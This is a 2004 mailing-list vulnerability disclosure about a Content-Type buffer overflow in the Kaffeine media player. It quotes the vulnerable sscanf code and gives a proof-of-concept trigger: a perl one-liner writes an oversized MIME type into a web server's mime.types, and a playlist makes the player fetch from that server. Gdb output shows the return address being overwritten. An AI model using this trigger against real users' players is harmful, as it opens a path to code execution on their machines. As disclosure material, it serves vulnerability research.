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Kaffeine Media Player Conteny Type overflow
From: KF <kfinisterre () secnetops biz>
Date: Mon, 25 Oct 2004 20:06:24 -0500

Author did not respond and I could not exploit... enjoy.
there will be a proper advisory when I am not being so lazy
-KF
Kaffeine >=0.4.2
http://kaffeine.sourceforge.net/download.html

Tested on SuSE Linux 9.1 on source compiled from kaffeine-0.4.3b.tar.bz2 
also Tested on various SuSE and Fedora RPMS

On SuSE Linux 9.1 (i586) - Kernel 2.6.5-7.108-default
http://www.suse.com/us/private/download/linuks/i386/update_for_9_1/extra.html
1558f5f4178cc1acbac0a068fb0bf43c  kaffeine.rpm

ftp://packman.iu-bremen.de/testing/xine-cvs/kaffeine/
kaffeine-0.5cvs-200409180035.i686.rpm

ftp://packman.iu-bremen.de/suse/9.1/i686/
kaffeine-0.4.3b-0.pm.0.i686.rpm

http://rpm.pbone.net/index.php3/stat/17/dept/5/idg/Productivity_Multimedia_Video_Players
kaffeine-0.4.2-6.i586.rpm

Fedora Core release 2.90 (FC3 Test 1) Kernel 2.6.7-1.478custom on an i686
http://rpmseek.com/rpm-pl/kaffeine.html?hl=com&cx=0::
kaffeine-0.4.3-0.lvn.1.b.2.i386.rpm
kaffeine-0.4.3-0.lvn.1.b.1.i386.rpm


This can be triggered via any Real Audio Media - ram playlist file. 

kaffeine-0.4.3b/kaffeine/playlist.cpp:
These are your file limitations. 
PlayList::LoadRamPlaylist( const KURL& kurl, QListViewItem* after)
..
    /* check for ram playlist */
     if ( (ext == "ra") || (ext == "rm") || (ext == "ram") || (ext == "lsc") || (ext == "pl") )
     {
... 
  
The overflow occurs here. 
kaffeine-0.4.3b/kaffeine/http.c:

static http_t *http_open (const char *mrl) {

  http_t   *this;
...
        if (sscanf(this->buf, "Content-Type: %s", mime_type) == 1) {


Sample exploitation. 

To cause the exploit modify /etc/mimetypes for the .ram extension make it 
AAAAAAAAAAAAAAAAAAAAA.... instead of audio/x-pn-realaudio

linux:/srv/www/htdocs # echo `perl -e 'print "A" x 316 . "ZZZZABCD"'` ram > /etc/mime.types ; /etc/init.d/apache2 
restart
Syntax OK
Shutting down httpd2 (waiting for all children to terminate)         done
Starting httpd2 (prefork)

[root () threat root]# kaffeine http://192.168.1.207/test.pl
http: content length = 30 bytes
http: content type = 'text/plain;'
http: content length = 0 bytes
http: content type = 
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZABCD'
[root () threat root]# KCrash: Application 'kaffeine' crashing...

create a file named exme.ram in your wwwroot 
and create a file named test.pl with the contents:
http://host/exme.ram

Upon reading the test.pl file either via http or via double click kaffeine 
will attempt to download the file exme.ram. It will check the mimetype 
that the server is offering and procede to copy it into a small buffer. 

This can also be exploited by directly viewing the .ram file. 


exact eip hit looks like this
gdb) c
Continuing.
http: content length = 30 bytes
http: content type = 'text/plain;'
http: content length = 0 bytes
http: content type = 
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZABCD'

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -150400896 (LWP 2328)]
0x080b869c in SubtitleChooser::staticMetaObject ()
(gdb) bt
#0  0x080b869c in SubtitleChooser::staticMetaObject ()
#1  0x5a5a5a5a in ?? ()
#2  0x44434241 in ?? ()
#3  0x097a1200 in ?? ()
#4  0x00000000 in ?? ()
#5  0x00000000 in ?? ()
#6  0x00000000 in ?? ()
#7  0x00000000 in ?? ()
#8  0xfef17b28 in ?? ()
#9  0x09794b70 in ?? ()
#10 0x05f04ac0 in kde_malloc_is_used () from /usr/lib/libkdecore.so.4
#11 0x00000018 in ?? ()
#12 0x05f04ac0 in kde_malloc_is_used () from /usr/lib/libkdecore.so.4
#13 0x096c3770 in ?? ()
#14 0x096c3760 in ?? ()
#15 0x05f04ac0 in kde_malloc_is_used () from /usr/lib/libkdecore.so.4
#16 0xfef17b48 in ?? ()
#17 0x05ec8dea in malloc () from /usr/lib/libkdecore.so.4
Previous frame inner to this frame (corrupt stack?)

(gdb) i f
Stack level 0, frame at 0xfef17ae0:
 eip = 0x80b869c in SubtitleChooser::staticMetaObject(); saved eip 
0x5a5a5a5a
 called by frame at 0xfef17ae4
 Arglist at 0xfef17ad8, args:
 Locals at 0xfef17ad8, Previous frame's sp is 0xfef17ae0
 Saved registers:
  ebp at 0xfef17ad8, eip at 0xfef17adc



0xfeea9b20:      'A' <repeats 200 times>...
0xfeea9be8:      'A' <repeats 116 times>, "ZZZZABCD"


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